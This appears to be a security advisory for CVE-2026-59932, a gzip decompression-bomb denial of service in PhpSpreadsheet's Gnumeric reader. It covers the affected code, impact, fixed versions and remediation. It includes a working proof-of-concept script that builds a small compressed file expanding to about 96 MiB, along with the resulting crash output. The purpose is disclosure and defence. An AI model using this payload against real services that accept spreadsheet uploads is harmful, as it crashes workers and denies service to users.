CVE-2026-59932: PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
Summary
PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.
This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.
Vulnerability details
Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:
- src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead(). - src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing. - src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.
The vulnerable expansion is in gzfileGetContents():
- src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with filegetcontents(). - src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap. - src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.
Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.
Impact
A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.
In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memorylimit=64M at Reader/Gnumeric.php:195.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.
bash docker run --rm --network none -i \ -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' set -eu php -r ' $prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">"; $suffix = "</gnm:Workbook>"; $payload = $prefix . strrepeat("A", 96 1024 1024) . $suffix; $gz = gzencode($payload, 9); fileputcontents("/tmp/bomb.gnumeric", $gz); printf("compressedsize=%d expandedsize=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload)); ' php -d memorylimit=64M -d displayerrors=1 -r ' require "/app/vendor/autoload.php"; $r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric(); vardump($r->canRead("/tmp/bomb.gnumeric")); ' 2>&1 || true SH
Observed output:
text compressedsize=97811 expandedsize=100663390 PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195 PHP Stack trace: PHP 1. {main}() Command line code:0 PHP 2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4 PHP 3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84 PHP 4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195
Suggested remediation
- Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files. - Stream decompression with a strict maximum output-size limit before allocating the full expanded XML. - Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files. - Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly. - Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.
Other sources
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed. This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.
— MITRE
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
— Packagist
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 1.30.6 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 2.1.18 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 2.4.7 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 3.10.7 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 5.8.1 - Upgrade
Upgrade
PhpOffice\PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 5.8.1 - Upgrade
Upgrade
PhpOffice\PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 3.10.7 - Upgrade
Upgrade
PhpOffice\PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 2.4.7 - Upgrade
Upgrade
PhpOffice\PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 2.1.18 - Upgrade
Upgrade
PhpOffice\PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 1.30.6 - Compensating control
Configure your application to enforce limits for untrusted `.gnumeric` uploads such as a maximum compressed size and maximum decompressed (expanded XML) size, rejecting files that exceed those limits before calling `PhpOffice\PhpSpreadsheet\Reader\Gnumeric`.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-59932?
CVE-2026-59932 has a high severity rating of 7.5.
What types of attacks are possible with CVE-2026-59932?
CVE-2026-59932 allows attackers to exploit the PhpSpreadsheet Gnumeric reader by supplying malicious `.gnumeric` files that can lead to denial of service.
How do I fix CVE-2026-59932?
To fix CVE-2026-59932, update PhpSpreadsheet to version 1.30.6 or later that addresses this vulnerability.
What consequences can occur from exploiting CVE-2026-59932?
Exploitation of CVE-2026-59932 can lead to Denial of Service due to uncontrolled memory allocation.
Which software is affected by CVE-2026-59932?
CVE-2026-59932 affects the PhpSpreadsheet library used in PHP applications.